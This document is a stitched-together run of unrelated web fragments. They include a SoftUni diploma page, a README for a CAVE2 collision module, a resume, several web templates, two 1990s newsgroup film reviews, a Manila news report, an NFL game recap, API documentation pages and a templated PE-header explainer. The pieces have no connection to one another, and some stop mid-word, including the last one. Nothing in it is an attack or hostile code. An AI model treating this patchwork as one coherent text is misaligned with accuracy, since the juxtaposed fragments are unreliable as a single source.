Web Development Certificates
Acquired certificates and a diploma from the training at SoftUni (Software University) prove the knowledge and skills you have acquired and must be presented to employers.
Certificate - certificate for a course at SoftUni (Software University) is issued after a successfully passed examination with a mark of B or higher.
Diploma - students of SoftUni (Software University) receive a full diploma for a profession after collecting the required number of credits (C# and Java Web Developer - 130 credits, Python and JavaScript Web Developer - 100 credits).
The diploma awarded by SoftUni is not state recognized but is recognized by the employers.
Diploma
Web Developers master the programming and practical development of web-based Java software and the Java EE platform. They have strong knowledge of both back-end technologies, databases, web services and cloud applications, as well as front-end programming with JavaScript, AJAX, and Single Page Apps.
At SoftUni, Java Web Developers gain solid practical programming skills (logical thinking and problem-solving skills, data structures and algorithms, object-oriented and functional programming, quality program code) and specialize in the development of applications through modern Web technologies, tools and technology frameworks from the Java/JavaEE ecosystem: HTML, CSS, JavaScript, jQuery, Bootstrap, AJAX, SPA, Java, Eclipse, IntelliJ IDEA, OOP, Databases, SQL, Oracle, JPA/Hibernate, Spring Framework, REST services, JAX-RS, cloud technologies, Servlets/JSP, Spring MVC и Java EE as well as working with Git, GitHub and teamwork collaboration and development tools.
To acquire a complete software engineering diploma or certificate from individual courses, you can apply for admission to SoftUni programming program.
Explore our Software Engineering Program
Start with a free Programming Basics training, begin your career in the IT sector and graduate as a full stack developer!


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We have methodologies!
- strategize dot-com web-readiness
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- embrace proactive synergies


More information in the Sass.js repository.
Convert
This fun was had by @cjk101010, @asciidisco and @rodneyrehm.


(C) 2013 by Jason Leigh, Electronic Visualization
Laboratory, University of Illinois at Chicago
Walkabout is a python module for Omegalib that provides ground collision and wall collisions for CAVE2 applications that have a need for users to navigate a virtual space where they can climb stairs, jump off platforms, and not walk through walls.
The demo.py file
contains an example of how to use the module. It also provides a
simple scene in which one can navigate the space to test
Walkabout. When running on the desktop use the standard WASD
keys to walk around the space and click and drag on the mouse to
turn. In CAVE2 simply use the wand to navigate. You can also
physically walk through the space. Walkabout will automatically
adjust terrain height to create the illusion that you are
walking on the geometry. Similarly attempts to walk into a wall
will force the virtual world backwards to prevent you from going
through. All that said it is still possible to crash through
walls by simply navigating far too quickly through them.
Documentation on the
API can be found HERE.
Walkabout works by
firing two rays into the scene. One straight down (step ray)
from the "knees" (climbable level) and one "forward" and
slightly downward from your head (collision ray). I say
"forward" because it is actually firing the ray in the direction
in which you are walking whether it's forwards, backwards, or
sideways. The step ray determines how high you need to be moved
up or down in the world. The collision ray determines if you
have run into a wall or a relatively high object like a table.
When a collision is detected Walkabout moves the CAVE2 camera
back to the spot before you were before the collision. For floor
collision interpolation is also used so that moving up a step or
falling to a lower platform isn't done instantaneously. Rather
it is done over a sequence of frames so that there is a smooth
transition.
In the API it is
possible to alter the height of your knee/climbable level as
well as the angle for the collision ray.  So for example, 0.3 means
0.3 x head height.


Here we have a schedule showing SpaceX upcoming launches and their 10 most recent ones. If you are interrested in seeing even more launches around the world, please look at this site.


Currently working in Wipro Technologies with strong professional experience of 2 years at Pune location contributing towards the development domain.
With my experience I have built an insightful perspective on problems that me as a developer had encountered during these 2 years. I want to translate this experience into business solutions for the customers.
Skills : Java 8, Angular 7, Spring and MySQL
View ResumeWorked on Schwab Bond Source which is a trading application used by Schwab representatives for trading of securities. Developed new features like applied rules to trade, migration of legacy project to Angular and some improvisations in the current modules, which acts as an interface for web applications used by end users.
Tech Stack: Java 8,MySQL,Servlet,HTML5,CSS and JS
Worked on automation of trading services which helps the end users to trade for multiple securities at a time. Implemented UI application to help traders get all the information regarding particular securit
Tech Stack: Java 8,Angular 7,NodeJS,HTML5,CSS and MySQL
Implemented MVVM/MVC model using Angular 7 for UI application to help the end user to manage employee details.
Tech Stack: Angular 7,NodeJS,HTML5,CSS,MySQL, TypeScript, ExpressJS
Phone : +91<PHONE_NUMBER>
Mail me


{% extends "_layouts/base.html" %} {% import 'macros.html' as macros %} {% block title %}Group {{ group.name }} | {{ config.EVE.auth_name }}{% endblock %} {% block content %}
You are currently applying to join the group {{ group.name }}. Please fill in your application text and hit the submit button. At any moment you are able to remove your application on the group page.


This application demonstrates usage of Tizen IME - the on-screen keyboard.
Use TV remote controller to navigate to text input field and press ENTER. IME will appear.
Type whatever you want and choose DONE.


About me
Hi, i'm Willy. I love to learn new things. I'm into graphic design and programming. During my spare time, i like to play basketball or playing video games. I can perform well alone or with team. I'm a fun guy to hang out with and reliable partner to work with.


WELCOME
TO DELANI STUDIO
AMAZING PEOPLE ARE MAKING AMAZING DESIGNS.
AMAZING PEOPLE ARE MAKING AMAZING DESIGNS.
When you work with us you are part of a team of dedicated collaborators. All aspects of our software development process are intergrated and interactive and agile.
Our approach unifies design, development and, product management to create exceptional products.
We start each project by understanding business goals, the user's needs and the product requirements
Then we help translate them into elegant effective solutions.
Before we sign a contract or write a line of code our team will spend the necessary time to understand your product vision.
The outcome of this proposal is a proposal or high-level statement work.
Based on your requirements we can provide a complete offerring or just the pieces you need.
DESIGN
Our design practice offers a full range of services including brand strategy, interaction and visual design and user experience testing. Throughout your project, our designers create and implement visual design and workflows, solicit user feedback and work with you to make sure what gets built is what is needed.
DEVELOPMENT
All engineers are fluent in the latest enterprise, mobile and web development technologies. They collaborate with your team to write, and improve code on a daily basis, using proven practices such as test-driven development and pair programming.
PRODUCT MANAGEMENT
Planning and development is iterative. Because we are constantly coding and testing, the products we build are always ready to go live. This iterative process allows for changes as business requirements evolve.
WEBSITES
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LOGO
COLOR PALLETE
MOBILE APPS
FUNCTIONS
BRANDING
SITE PROMO


INTO THE WEST A film review by Max Hoffmann Copyright 1993 Max Hoffmann
INTO THE WEST, Not Rated Color 35mm 91 minutes U.S.A (Irish co-production) Max Reax = 8 on scale of 0 --- 10 ^ ^ | | sux must see
Director: Mike Newell (of ENCHANTED APRIL) Producers: Jonathan Cavendish, Tim Palmer Prod. Co.: Little Bird Company, Lt.d Screenwriter: Jim Sheridan (of MY LEFT FOOT) Cinematgphr: Tom Sigel Editor: Peter Boyle Art Direction: Jaime Leonard, Mark Geraphty Music: Patrick Doyle Principal Cast: Gabriel Byrne, Ellen Barkin, Ciara'n Fitzgerald, Ruaidhri' Conroy
(Not in release yet, I saw the world premiere at Sundance Film Festival in Utah, and had the privilege of meeting Gabriel Byrne in person at the reception. He looks ten years younger in person.)
A definite "must see" if you have kids, this film is everything that the annoying Mark Lester vehicles of the early 70's were not. From an adult perspective, the film is flawed by too many irons in the fire that go cool by the time it climaxes. Ellen Barkin has a throw-away role as the female, non-love interest, though she does a lot with the scant material thrown her way. Nothing is done with the evident chemistry between her and real-life husband Byrne.
SYNOPSIS: Byrne plays a pathetic, yet appealing alcoholic father with two young sons. Grieved over his wife's death, he rejected his gypsy ways (part of the "travellers" ... Ireland's itinerant tinkerers) to settle down in the squalor of Dublin's slums.  Heart tugging humor over the boys' attempts to keep the horse "hidden" in their one bedroom apartment. Long arm of the law steps in to dispose of the horse. Discovering the horse's new owner/home (they see it in jumping competition on TV) the young lads decide to kidnap/rescue the horse and escape "into the west," into a mythical kingdom their grandfather has told them about.
From there, the film moves in unexpected directions, as the horse takes on mythic, spiritual qualities, becoming a catalyst to help Byrne reclaim his lost heritage, and aiding the boys in reconciling themselves with their mother's death.
STRENGTHS: Newell has drawn superb performances from the two boys, who take up about 80% of the film's screen time. Their acting is so sincere and un-self-conscious that you suspect "invisible" cameras were employed. Ireland has a lot to teach Hollywood when it comes to child actors! As an adult you may be able to get more "into the film" by drawing parallels to a reclaimed "child within." It is overall a taught, well defined script, balanced by a beautiful musical score with lots of Celtic harp, and *magnificent* photography. The film will help promote some of the richness of Celtic culture to a broad, international audience. The film also demonstrates the decent "family entertainment" isn't dead on the American film scene. It is a breath of fresh air compared to insubstantial tripe like "Home Alone 2"
KNOCKS: some of the violence, though brief, may be too intense for younger children. (6 and under) It appears as if the writer/director got so entranced with the kids' escape from an unloving adult world, that they simply forgot some untied knots involving the manic villain, and Byrne as the father attempting to redeem himself. You may have to suppress a few laughs in the films climax in which some clumsy visuals are employed to help us "see" what the children see.
RECOMMENDATION: although the film has sweeping, magnificent cinematography (you will want your next vacation in Ireland) not much would be lost by waiting for the video, or viewing it on an airplane, where it will no doubt soon appear. If you have children in your family, it is a "must see" film, and your enjoyment would be augmented by a child's enthusiastic reaction. American film critics will probably not be fair to this film, due to the flaws mentioned above. I predict a short run in theatres stateside.
-- Max Hoffmann
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Example 1
The following definition list has two expanders assigned to it, one for the first answer and one for the other two. The second expander has a number of options set for it, including three "callbacks" which invoke functions at three separate moments.
$(document).ready(function() {
$('dl.expander dd:eq(0)').expander();
$('dl.expander dd:gt(0)').expander({
collapseTimer: 4000,
beforeExpand: function() {
$(this).parent().parent().append('
before expand.
');
},
afterExpand: function() {
$(this).parent().parent().append('
after expand.
');
},
onCollapse: function(byUser) {
var by = byUser ? 'user' : 'timer';
$(this).parent().parent().append('
on collapse (' + by + ').
');
}
});
});
Note that the third answer does not have a "read more" link because it's using the default value of 100 characters and 4 "widow" words as its cut-off. No sense in linking to read more when there isn't much more to read.
Example 2
The following list items have a single expander assigned to them with a few custom options set.
$('ul.expander li').expander({
slicePoint: 50,
widow: 2,
expandEffect: 'show',
userCollapseText: '[^]'
});
Hey, why is the first

collapsed? Well, the first list item is a trick! Rather than let the plugin decide where to truncate the text, I put the links and the span directly in the HTML. It looks like this:

Run a marathon [...]and qualify for Boston.

Example 3
The Expander Plugin now works for block-level elements, too.
$('div.expander').expander();


|
AceRoutine
0.1
A low-memory, fast-switching, cooperative multitasking library using stackless coroutines on Arduino platforms.
|
Reads tokens (lines, words, integers, characters, etc) from the Stream device. More...
#include <StreamReader.h>
Public Member Functions | |
| StreamReader (Stream &serial, char *buf, int bufSize) | |
| Constructor. More... | |
| bool | getChar (char *c) |
| Get a character from serial port. More... | |
| bool | getWordString (bool *isError, char **word) |
| Get a string bounded by whitespace, i.e. More... | |
| bool | getInteger (bool *isError, int *value) |
| Get an integer. More... | |
| bool | getComma (bool *isError) |
| Parse a comma. More... | |
| bool | skipWhiteSpace () |
| Skip whitespace. More... | |
| bool | getLine (bool *isError, char **line) |
| Get a line. More... | |
Reads tokens (lines, words, integers, characters, etc) from the Stream device.
The Stream will normally be the global Serial object. These are non-blocking helper functions designed to be used inside COROUTINE() macros from the AceRoutine library.
Definition at line 39 of file StreamReader.h.
|
inline |
Constructor.
| serial | The input stream, usually the global Serial object. |
| buffer | The input character buffer. |
| bufferSize | The size of the buffer, should be set large enough to hold the longest line without triggering buffer overflow. |
Definition at line 49 of file StreamReader.h.
| bool ace_routine::cli::StreamReader::getChar | ( | char * | c | ) |
Get a character from serial port.
Return true if parsing is finished, otherwise false indicates that this method should be called again for further processing.
Definition at line 31 of file StreamReader.cpp.
| bool ace_routine::cli::StreamReader::getComma | ( | bool * | isError | ) |
Parse a comma.
Return true if parsing is finished, otherwise false indicates that this method should be called again for further processing.
If isError is true, then a parsing error ocurred.
Definition at line 91 of file StreamReader.cpp.
| bool ace_routine::cli::StreamReader::getInteger | ( | bool * | isError, |
| int * | value | ||
| ) |
Get an integer.
Return true if parsing is finished, otherwise false indicates that this method should be called again for further processing.
If isError is true, then a parsing error occurred. If is false, then value contains the integer.
Definition at line 66 of file StreamReader.cpp.
| bool ace_routine::cli::StreamReader::getLine | ( | bool * | isError, |
| char ** | line | ||
| ) |
Get a line.
Returns true if parsing is finished required, otherwise false indicates that this method should be called again for further processing.
If a full line was read, then this returns true, isError=false, and line=line If the buffer overflowed, then this returns true, isError=true, and line is the partial buffer of the long line.
Definition at line 109 of file StreamReader.cpp.
| bool ace_routine::cli::StreamReader::getWordString | ( | bool * | isError, |
| char ** | word | ||
| ) |
Get a string bounded by whitespace, i.e.
a "word". Return true if parsing is finished, otherwise false indicates that this method should be called again for further processing.
If isError is true, then a parsing error occurred. If is false, then word contains the pointer to the word string
Definition at line 43 of file StreamReader.cpp.
| bool ace_routine::cli::StreamReader::skipWhiteSpace | ( | ) |
Skip whitespace.
Return true if parsing is finished, otherwise false indicates that this method should be called again for further processing.
Definition at line 98 of file StreamReader.cpp.


MMDA employee beaten up by bus driver, conductor in Pasig City
by Coconuts ManilaA traffic law enforcer from the Metropolitan Manila Development Authority (MMDA) was allegedly socked in the face by a bus driver and a conductor this morning after he called them out for blocking a loading area along EDSA in Pasig City’s Ortigas Center.
Arvin Gabay of the MMDA was assigned to the area near Robinsons Mall when he noticed that a bus was parked longer than necessary on EDSA’s loading and unloading area. Gabay approached the bus and scolded bus driver Harold Dave Reyes and his assistant, Rolly Sabayon, the television news program “Balitanghali” reported.
Instead of driving away, Reyes and Sabayon stepped out of the vehicle, arguing with Gabay and manhandling the MMDA officer because they didn’t like the tone of his voice.
Gabay, the poor chap, ended up with a broken nose from the incident. He was taken by his colleagues to the Medical City hospital for treatment, ABS-CBN News reports.
Meanwhile, the police have arrested Reyes and Sabayon, who will be charged for inflicting physical injuries on the MMDA officer. Reyes, the driver, will also be charged for driving with an expired license.
Read more Coconuts Manila articles here.


I'm working as software engineer for 14 years and came from Japan to join multinational environment in Oct 2016.
And I am looking for job which requires Golang. However I always have to require working VISA because of my nationality. Thank you.


@* * This template takes a single argument, a String containing a * message to display. *@ @(message: String) @* * Call the the `main` template with two arguments. The first * argument is a `String` with the title of the page, the second * argument is an `Html` object containing the body of the page. *@ @main("youarepro") {
Product list:
End of product list.
Add a new Product
}


lesson 3.3 applying internal CSS-understanding how to use internal CSS and the different elements and attributes
#Lesson 3.3 Eddie programming lesson
Lesson 3.3 applying internal CSS- understanding how to use internal CSS and the different elements and attributes
- using internal css
- knowing the different elements, attribute and their definition
I mentioned previously that there are 3 ways we can add CSS to our documents, this time we will talk about the 2nd CSS. As it’s stated above, it’s called internal CSS. As I mentioned before in my previous minute about attributes, style is a attribute and it specifies an inline CSS style for an element. in order not to be confused “attribute usually comes in name/value pair like: name= value”
but in this case style is a element, and when you use internal CSS you will be able to see it, as it is stated below, an internal CSS is stated in the head section within a style element. elements usually consist of a start tag and end tag.
On a side note, so far from what I have learned, I now know that there is no right or wrong way to do things in programming, like for one things you can have different ways of doing it to get the same results.Things are complicated yet simple at the same times, you just have to understand it and find out how things work and why it works. I think that different programmers have different working styles and ways of doing things, perhaps we just have to find a style that suits each of us.
￼
￼
note inside the head element, it is where we write our CSS and javascript
￼
Above is a brief description about the <head> section.
Lets try it out from my macbook and use some of the things we learned previously (RGB value, hex value) to see the effect.
￼
We can do the same thing with fonts like how we do with color, I will talk about fonts later on and once everything has been explain, we will try out everything on the macbook in one html documents=)


Johnson secures crushing UK election victory
About
This was made by rewriting Hugging Face's text generation example slightly and combining it with a little bit of named entity recognition to enable automatic downloading of somewhat relevant pictures.


--- layout: post title: Welcome to #DBHangOps! categories: - computing - database - linux - mysql tags: - '#DBHangOps' - database - dba - HangOps - mysql - mysql_planet status: publish type: post published: true meta: _edit_last: '1' ---
Woooo, just wrapped up another night of #DBHangOps, check out the video:
For those of you who aren't familiar with this awesome series of videos, it's a bi-weekly meeting of MySQL DBAs via a Google Hangout to simply talk about databases (specifically MySQL). The discussions range anywhere from silly stories to awesome learnings and even little gotchas to know about when working with MySQL operationally. If you're interested in catching when the next #DBHangops will happen, check MySQL planet for a blog post about it, or check this twitter search.
We look forward to talking with you!


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Cowboys hit back to defeat struggling Giants
The New York Giants surrendered a 12-3 second-quarter lead to crash to their fifth successive defeat as the Dallas Cowboys ran out 37-18 winners at MetLife Stadium.
Dallas quarterback Dak Prescott was intercepted off his very first pass but recovered to throw for 257 yards and three touchdowns to leave the Cowboys 5-3 for the season and top of the NFC East.
New York, in contrast, have now fallen to 2-7 for the campaign following this latest loss.
The Giants started well and Cody Latimer’s touchdown plus two Aldrick Rosas field goals helped them build a nine-point lead midway through a second quarter which was briefly delayed by a black cat strolling across the pitch.
However, Dallas hit back with 10 points in quick succession – including a 42-yard touchdown by Blake Jarwin – to earn a 13-12 half-time lead, and they never looked back.
The last time the Cowboys were in East Rutherford was a month ago when they lost to the stadium’s other tenants, the New York Jets.
This time there was no upset result as they added further touchdowns through Michael Gallup and Amari Cooper to secure the victory.


Tasks newly added in the backlog.
#{task.description}
Tasks had been assigned and started.
#{task.description}
Tasks had been done successfully.
#{task.description}


{% extends "base.html" %} {% block bread_crumb %}
{% endblock bread_crumb %} {% load render_table from django_tables2 %} {% block content %}Created: {{ agreement.create_date }} Last Edited: {{ agreement.edit_date }} Status: {{ agreement.approval }}
| {{ user.activity_user.organization.level_2_label }} Code | Account Code | LIN Code | Office | Sector |
|---|---|---|---|---|
| {{ agreement.activity_code }} | {{ agreement.account_code }} | {{ agreement.lin_code }} | {{ agreement.office }} | {{ agreement.sector }} |
| {{ user.activity_user.organization.level_1_label }} | {{ user.activity_user.organization.level_2_label }} Name | {{ user.activity_user.organization.level_4_label }} | {{ user.activity_user.organization.level_2_label }} Type |
|---|---|---|---|
| {{ agreement.program }} | {{ agreement.project_name }} | {{ agreement.project_activity }} | {{ agreement.project_type }} |
| Site | Stakeholder |
|---|---|
| {{ agreement.sites }} | {{ agreement.stakeholders }} |
| Expected Start Date | Expected End Date |
|---|---|
| {{ agreement.expected_start_date|date:"M d, Y" }} | {{ agreement.expected_end_date|date:"M d, Y" }} |
| Total Estimated Budget, in USD | Agency Estimated Budget, in USD | Total Estimated Budget, in Local Currency | Agency Estimated Budget, in Local Currency | Exchange Rate | Exchange Rate Date | Estimation Date |
|---|---|---|---|---|---|---|
| {{ agreement.total_estimated_budget }} | {{ agreement.mc_estimated_budget }} | {{ agreement.local_total_estimated_budget }} | {{ agreement.local_mc_estimated_budget }} | {{ agreement.exchange_rate }} | {{ agreement.exchange_rate_date|date:"M d, Y" }} | {{ agreement.estimation_date|date:"M d, Y" }} |
| Contributor | Description of Contribution | Proposed Value of Contribution |
|---|---|---|
| {{ budget.contributor }} | {{ budget.description_of_contribution }} | {{ budget.proposed_value }} |
| Description of {{ user.activity_user.organization.level_4_label }} |
|---|
| {{ agreement.description_of_project_activities }} |
| What is the anticipated Effect or Impact of this project? |
|---|
| {{ agreement.effect_or_impact }} |
| Risks and Assumptions |
| {{ agreement.risks_assumptions }} |
| Targeted | Indicator |
|---|---|
| {{ output.targeted }} | {{ output.indicator }} |
| Description | Site | Est. Start Date | Est. End Date | Budget |
|---|---|---|---|---|
| {{ benchmark.description}} | {{ benchmark.site }} | {{ benchmark.est_start_date|date:"m-d-Y" }} | {{ benchmark.est_end_date|date:"m-d-Y" }} | {{ benchmark.budget }} |
| Type | Responsible Person | Frequency |
|---|---|---|
| {{ monitor.type }} | {{ monitor.responsible_person }} | {{ monitor.frequency }} |
| How will you evaluate the outcome or impact of the {{ user.activity_user.organization.level_2_label }}? |
|---|
| {{ agreement.evaluations }} |
| Action | E-Signature | Date |
|---|---|---|
| Originated By | {{ agreement.estimated_by }} | {{ agreement.estimated_by_date|date:"M d, Y" }} |
| Checked By | {{ agreement.checked_by }} | {{ agreement.checked_by_date|date:"M d, Y" }} |
| Checked | {{ agreement.estimated_by }} | {{ agreement.estimated_by_date|date:"M d, Y" }} |
| Field Verification By | {{ agreement.reviewed_by }} | {{ agreement.reviewed_by_date|date:"M d, Y" }} |
| Finance Reviewed By | {{ agreement.finance_reviewed_by }} | {{ agreement.finance_reviewed_by_date|date:"M d, Y" }} |
| M&E Reviewed By | {{ agreement.me_reviewed_by }} | {{ agreement.me_reviewed_by_date|date:"M d, Y" }} |
| Action | E-Signature | Date |
|---|---|---|
| Approved By | {{ agreement.approved_by }} | {{ agreement.approved_by_date|date:"M d, Y" }} |
| Approval Submitted By | {{ agreement.approval_submitted_by }} | |
| Approval Status | {{ agreement.approval }} | |
| Approval Remarks | {{ agreement.approval_remarks }} |


I reviewed Windows 10 few month ago and that is Windows 10 Technical Preview. Now, I am going to revisit this awesome OS. Ok. Everyone is upgrading their operating system. Well, Windows released the “final version” of Windows few days ago, 29 July 2015: ...
3 months? So I have been missing for nearly 3 months. Whatever, so what actually happens during this 3 months? Nothing. I just doing what I suppose to do. I am a developer + student and blogger (sometimes, anyway). Anyway, I will talk about this in the ...
Hello, you are now reading the second episode for “The Story of this Website”. So, you might notice it, this blog completely has a brand new design. And it’s now powered by Polymer, which is new web development based on custom web components and it’s ...
We are upgrading our blog. This beta version of blog is for development purpose. This blog is still under developement. The website might inaccessible without any notice. Hope you enjoy all the bugs and errors in this site. Lastly, no kittens were harmed ...
It's time to write something again, as I didn't write anything for nearly one month. Now it's time to write something interesting. Day 0, The story before the journey Hello Borobudur, Hello Volcano, Hello Yogyakarta, Hello Indonesia, Hello World. Last ...
It's time to write something again. Today, I have nothing special and important to write. But, I am excited to announce that the domain (URL) of this website is moved to limhenry.me. Shorter URL, so it's easier to remember! Anyway, you still can visit ...
I am using Android phone right now, because it is nice and good. But not just the hardware make my Android phone nice but apps. Today I am going to introduce some of my favorite apps. Google Now Launcher Google Now Launcher is developed by Google. It is ...
Few hours ago, Google updated their site for Android One in Indonesia with Android 5.1. And now, it’s real and confirmed. Android 5.1 is now running on Evercoss One X, Mito Impact and Nexian Journey. And it will also available to update for Nexus 5,6 and ...
Microsoft announced the latest build of Windows 10 Technical Preview Build 9926 on 23 January 2015. Windows 10. Pricing? Free, seriously. Windows 10 will be available to be upgraded for every Windows 7, 8 and 8.1 users. FREE. No hidden charge. Just you ...
Sony Xperia M2, the phone I am using right now. Sony introduced this mid-range phone, Xperia M2 in CES 2014 and released in Q2 ‘14. The price range is around USD300 (it’s around MYR 799 due today). It’s not cheap, and I strongly NOT RECOMMENDING you if ...


Ticket Management System
{% if events|length<1%}There are no events. Create one below!
{%else%}| Event | Tickets Available | Event Date | Actions |
|---|---|---|---|
| {{event.name }} | {{event.available}} | {{event.date}} | View |
{% extends 'base.html'%} {%block head%}
| Event | Tickets Available | Event Date | Actions |
|---|---|---|---|
| {{event.name }} | {{event.available}} | {{event.date}} | View |


|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
public interface IContourAlgorithm
Provides for the application of an algorithm to a contour.
| Method Summary | |
|---|---|
void |
apply(ArrayList<Integer> sourceVerts,
ArrayList<Integer> resultVerts)
Apply an algorithm to a contour. |
| Method Detail |
|---|
void apply(ArrayList<Integer> sourceVerts, ArrayList<Integer> resultVerts)
The implementation is permitted to require that the the result vertices be seeded with existing data. In this case the argument becomes an in/out argument rather than just an out argument.
sourceVerts
- The source vertices that represent the contour
in the form (x, y, z, regionID).resultVerts
- The contour vertices produced by the operation
in the form (x, y, z, sourceIndex).
Source index is the index (not pointer) of the related source vertex in sourcVerts. E.g. If the vertex in resultsList references the vertex at position 12 of sourceVerts, then sourceIndex will be 3 (12 / 4).
|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
Copyright 2010 Stephen Pratt. All rights reserved. Use is subject to license terms.


eXistenZ (1999)
Director: David Cronenberg Cast: Jennifer Jason Leigh, Jude Law, Willem Dafoe, Ian Holm, Don McKellar, Callum Keith Rennie, Sarah Polley, Christopher Eccleston Screenplay: David Cronenberg Producers: David Cronenberg, Andras Hamori, Robert Lantos Runtime: 97 min US Distribution: Dimension Films Rated R: strong violence, sexual imagery, and language
Copyright 1998 Nathaniel R. Atcheson
Making a movie out of a video game is a pretty bad idea. We've seen numerous critical and box office failures that began as depthless video games (how can a video game really have depth?) and resulted in depthless movies. Making a movie about a video game -- now that's a different story. As technology progresses, video games are getting more advanced and immersive, and the political and ethical questions concerning our urge to lose ourselves in virtual reality is in full swing.
Of course, David Cronenberg's new film, eXistenZ, is the fourth movie in the last two months (and the third in the last two days) to deal with an aspect of this theme. The other films -- The Thirteenth Floor, Open Your Eyes, and The Matrix -- range from bad to wonderful, but they all tackle the virtual reality craze from a slightly different angle. eXistenZ is the first to do it using video games as its theme, and one could easily make the argument that Cronenberg's movie is the most pointedly critical of the bunch. It's also the most blatantly strange, and the most sexually perverse. And while I disagree wholeheartedly with many of Cronenberg's claims, I found myself entranced and delighted with just about every scene of his movie.
eXistenZ is the name of a computer game created by Allegra Gellar, an abrasive character played by the fearless and mesmerizing Jennifer Jason Leigh (she forfeited her role in Eyes Wide Shut to make this film, which impresses me). During the trial run of eXistenZ, an assassin attempts to assassinate her, and she's taken off by Ted Pikul (Jude Law), her bodyguard-in-training. While on the run, they meet with several people who are anti-video games, and who attempt to kill Allegra and destroy her game. Fearing that her game is moribund (the pod which houses the game seems to have consciousness), she decides she needs to play eXistenZ with someone friendly -- namely Ted, who has no interest in doing so. Naturally, they enter the game, and things unpredictably progress from there.
eXistenZ is worthy of Cronenberg's name. Aesthetically, the movie is just plain strange. The extended metaphor between sex and the game is anything but subtle; the pod I mentioned earlier is organic and pulsates with orgasmic pleasure whenever it's used. Players jack in to the pod by using a phallic umbilical cord inserted into a suggestive bio-port in the spine (you must be fitted with a bio-port in order to play the games). And though I found the sexual imagery to be in fairly bad taste, I had no problem soaking it up with silent satisfaction. The movie looks just right, with bland colors and appropriately perfunctory sets. Howard Shore's musical score is superb, using deep stringed instruments the way they're meant to be used. And I love that the film is set in the vague future; it gives the story a degree of dreadful believability.
The film is artistically advanced, and Cronenberg does a splendid job of creating a world that really feels like a video game. I have more than passing knowledge of the history of video games (I was once a zombie at the mercy of my Nintendo), and so I was right at home in the world of eXistenZ. There are details in this game world that could have only been inserted by someone familiar with the way games work -- the arbitrary nature of the plots, the one-note characterizations, the way key figures in the story loop mindlessly when they're not being spoken to. When it focuses on these elements, the film is really quite funny. I love the scene in the Chinese restaurant, in which our heroes are forced to compose a bone gun out of mutated amphibian parts, shortly before shooting the Chinese waiter for plot-progressing reasons. The film also features an array of wonderful actors, including Leigh, Law, Ian Holm, Willem Dafoe, Christopher Eccleston, and Sarah Polley.
eXistenZ is most compelling and also most frustrating on a thematic level. The basic idea is nothing particularly new -- we've all heard the argument that the closer we get to virtual reality, the further we get from true reality. Then there's the question, "What is reality, anyway?" Cronenberg isn't interested in these over-explored ideas. He just wants to show us what happens when people become incredibly obsessed with a life that isn't theirs. But I was mildly disappointed with the end of the film, for it creates more questions than it answers, and Cronenberg doesn't drop enough hints throughout the film for us to figure out what really happens. And I was annoyed with the insinuation that video games lead to mindless violence. A few months ago, when the media found time to drool over the massacre in Littleton, Colorado, I found myself enraged at the screenshots of Doom (a popular and violent video game) and the implication that playing games like this makes you shoot real people.
I digress. Even though the ending isn't quite satisfactory, Cronenberg's eXistenZ is an artistic success and an intelligently-constructed argument against virtual reality. As we approach the end of the millenium, we're going to be seeing a lot more movies like this one -- films that inspire paranoia and breed neurosis. But this whole "Is it real or not?" genre is starting to grow on me. Perhaps we'll be spared the displeasure of more films based on video games; instead, we'll be subjected to movies about video game programmers who can't tell if they're in the real world or the virtual world. If these movies turn out to be as fun and imaginative as eXistenZ, I won't have any problem buying in to them.
Psychosis Rating: 7/10
Visit FILM PSYCHOSIS at http://www.pyramid.net/natesmovies
Nathaniel R. Atcheson
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


From 00000000 to 0000003F
We don't really care about this one except for the signature offset ({{peConstants.signatureOffsetSizeDec}} bytes) which value is {{pe.signatureOffset.fileOffset | leftpad:8}}. We ignore the DOS stub and go to the signature.
From {{pe.signature.startOffsetDec | byte | leftpad:8 }} to {{pe.signature.endOffsetDec | byte | leftpad:8 }}
We couldn't care less about the signature because it's always the same. Its only use is to mark the beginning of the sections we're interested in.
From {{pe.coffHeader.startOffsetDec | byte | leftpad:8 }} to {{pe.coffHeader.endOffsetDec | byte | leftpad:8 }}
The
characteristics ({{peConstants.characteristicsSizeDec}} bytes)
are located at offset {{peConstants.characteristicsSubOffsetDec}} of the
COFF header and have a value of
{{pe.characteristics.hexValue | hex}}. The
characteristics are documented
From {{pe.standardFields.startOffsetDec | byte | leftpad:8}} to {{pe.standardFields.endOffsetDec | byte | leftpad:8}}
It contains the magic number (the first {{peConstants.magicNumberSizeDec}} bytes) which value is {{pe.magicNumber.hexValue | hex}}. The magic number encodes the bitness of the binary, 0x10B is 32-bit (PE32 format) and 0x20B is 64-bit (PE32+ format). We are dealing with a {{pe.is64Bit ? '64' : '32'}}-bit binary.
The address of entry point ({{peConstants.addressOfEntryPointSizeDec}} bytes) is located at offset {{peConstants.addressOfEntryPointSubOffsetDec}} of the standard fields and has a value of {{pe.addressOfEntryPoint.rva | hex}}.
For PE32, the size of the standard fields is {{peConstants.standardFieldsPE32SizeDec}} bytes; for PE32+ it is {{peConstants.standardFieldsPE32PlusSizeDec}} bytes.
From {{pe.ntSpecificFields.startOffsetDec | byte | leftpad:8}} to {{pe.ntSpecificFields.endOffsetDec | byte | leftpad:8}}
It contains the image base (the first {{pe.imageBase.sizeDec}} bytes) which value is {{pe.imageBase.hexValue | hex}}. For PE32, the size of the image base is {{peConstants.imageBasePE32SizeDec}} bytes; for PE32+ it is {{peConstants.imageBasePE32PlusSizeDec}} bytes.
The
